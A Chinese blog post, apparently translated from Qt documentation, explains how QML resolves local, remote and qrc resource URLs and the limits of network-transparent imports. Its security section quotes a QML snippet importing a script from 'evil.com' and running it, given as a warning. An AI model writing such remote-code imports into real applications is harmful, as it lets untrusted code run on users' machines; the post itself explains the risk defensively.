QML- QML加载资源和网络资源透明性
创始人
2025-05-29 12:42:33
0

QML加载资源和网络资源透明性

  • 一、概述
  • 二、相对url与绝对url
  • 三、QRC的资源
  • 四、限制
  • 五、对应用程序安全性的影响

一、概述

QML通过对从QML文档到其他内容的所有引用使用 url(而不是文件名) 来支持网络透明性。这意味着在任何需要URL源的地方,QML都可以处理远程资源和本地资源,例如下面的图片源:

Image {source: "http://www.example.com/images/logo.png"}

由于相对URL与相对文件相同,在普通文件系统上开发QML仍然很简单:

 Image {source: "images/logo.png"}

在整个QML中都支持网络透明性,例如,FontLoader和Image元素都支持从远程服务器加载资源。

甚至QML类型本身可以在网络上-如果使用qmlscene的原型用于加载http://example.com/mystuff/Hello.qml,并且该内容引用类型“世界”,引擎将加载http://example.com/mystuff/qmldir并解析类型,就像它将用于本地文件一样。例如,如果qmldir文件包含行“World World。,它将加载http://example.com/mystuff/World.qml任何其他资源,Hello。通常通过相对URL引用的qml,也类似地从网络加载。

二、相对url与绝对url

只要对象有一个类型为URL (QUrl)的属性,将字符串赋值给该属性实际上会指定一个绝对URL——通过将该字符串与使用该字符串的文档的URL进行解析。就是保证url嵌套的功能。

例如,考虑http://example.com/mystuff/test.qml:中的内容

Image {source: "images/logo.png"
}

Image source属性将被声明http://example.com/mystuff/images/logo.png,但是在开发QML时,在 C:\User\Fred\Documents\MyStuff\test.qml 中,它将被声明为 C:\User\Fred\Documents\MyStuff\images\logo.png。
如果声明给URL的字符串已经是一个绝对URL,那么“解析”不会改变它,而是直接分配URL。

三、QRC的资源

Qt中内置的URL方案之一是qrc方案。这允许使用Qt资源系统将内容编译到可执行文件中。使用它,可执行文件可以引用编译到可执行文件中的QML内容:

  QQuickView *view = new QQuickView;view->setUrl(QUrl("qrc:/dial.qml"));

然后内容本身可以使用相对url,因此透明地不知道内容被编译到可执行文件中。

四、限制

只有当import语句包含as子句时,它才是网络透明的。

更具体地说:

  • import “dir” 仅适用于本地文件系统
  • import libraryUri 仅适用于本地文件系统
  • import “dir” as D 工作网络透明
  • import libraryUrl as U 工作网络透明

五、对应用程序安全性的影响

QML安全模型是,QML内容是一个可信内容链:用户安装他们信任的QML内容,就像他们安装原生Qt应用程序或用运行时(如Python和Perl)编写的程序一样。这种信任可以通过多种机制建立,包括某些平台上的包签名功能。

为了保持用户的信任,QML应用程序开发人员不应该加载和执行任意的JavaScript或QML资源。例如,考虑下面的QML代码:

  import QtQuick 2.0import "http://evil.com/evil.js" as EvilComponent {onLoaded: Evil.doEvil()}

这相当于下载并执行 http://evil.com/evil.exe”。QML引擎不会阻止加载特定的资源。与在web浏览器中运行的JavaScript代码不同,QML应用程序可以以与任何其他本地应用程序相同的方式加载远程或本地文件系统资源,因此应用程序开发人员在加载和执行任何内容时都必须小心。

与任何访问超出其控制范围的其他内容的应用程序一样,QML应用程序应该对其加载的任何不可信数据执行适当的检查。例如,不要使用import、Loader或XMLHttpRequest来加载任何不可信的代码或内容。

相关内容

热门资讯

linux入门---制作进度条 了解缓冲区 我们首先来看看下面的操作: 我们首先创建了一个文件并在这个文件里面添加了...
C++ 机房预约系统(六):学... 8、 学生模块 8.1 学生子菜单、登录和注销 实现步骤: 在Student.cpp的...
JAVA多线程知识整理 Java多线程基础 线程的创建和启动 继承Thread类来创建并启动 自定义Thread类的子类&#...
【洛谷 P1090】[NOIP... [NOIP2004 提高组] 合并果子 / [USACO06NOV] Fence Repair G ...
国民技术LPUART介绍 低功耗通用异步接收器(LPUART) 简介 低功耗通用异步收发器...
城乡供水一体化平台-助力乡村振... 城乡供水一体化管理系统建设方案 城乡供水一体化管理系统是运用云计算、大数据等信息化手段࿰...
程序的循环结构和random库...   第三个参数就是步长     引入文件时记得指明字符格式,否则读入不了 ...
中国版ChatGPT在哪些方面... 目录 一、中国巨大的市场需求 二、中国企业加速创新 三、中国的人工智能发展 四、企业愿景的推进 五、...
报名开启 | 共赴一场 Flu... 2023 年 1 月 25 日,Flutter Forward 大会在肯尼亚首都内罗毕...
汇编00-MASM 和 Vis... Qt源码解析 索引 汇编逆向--- MASM 和 Visual Studio入门 前提知识ÿ...
【简陋Web应用3】实现人脸比... 文章目录🍉 前情提要🌷 效果演示🥝 实现过程1. u...
前缀和与对数器与二分法 1. 前缀和 假设有一个数组,我们想大量频繁的去访问L到R这个区间的和,...
windows安装JDK步骤 一、 下载JDK安装包 下载地址:https://www.oracle.com/jav...
分治法实现合并排序(归并排序)... 🎊【数据结构与算法】专题正在持续更新中,各种数据结构的创建原理与运用✨...
在linux上安装配置node... 目录前言1,关于nodejs2,配置环境变量3,总结 前言...
Linux学习之端口、网络协议... 端口:设备与外界通讯交流的出口 网络协议:   网络协议是指计算机通信网...
Linux内核进程管理并发同步... 并发同步并发 是指在某一时间段内能够处理多个任务的能力,而 并行 是指同一时间能够处理...
opencv学习-HOG LO... 目录1. HOG(Histogram of Oriented Gradients,方向梯度直方图)1...
EEG微状态的功能意义 导读大脑的瞬时全局功能状态反映在其电场结构上。聚类分析方法一致地提取了四种头表面脑电场结构ÿ...
【Unity 手写PBR】Bu... 写在前面 前期积累: GAMES101作业7提高-实现微表面模型你需要了解的知识 【技...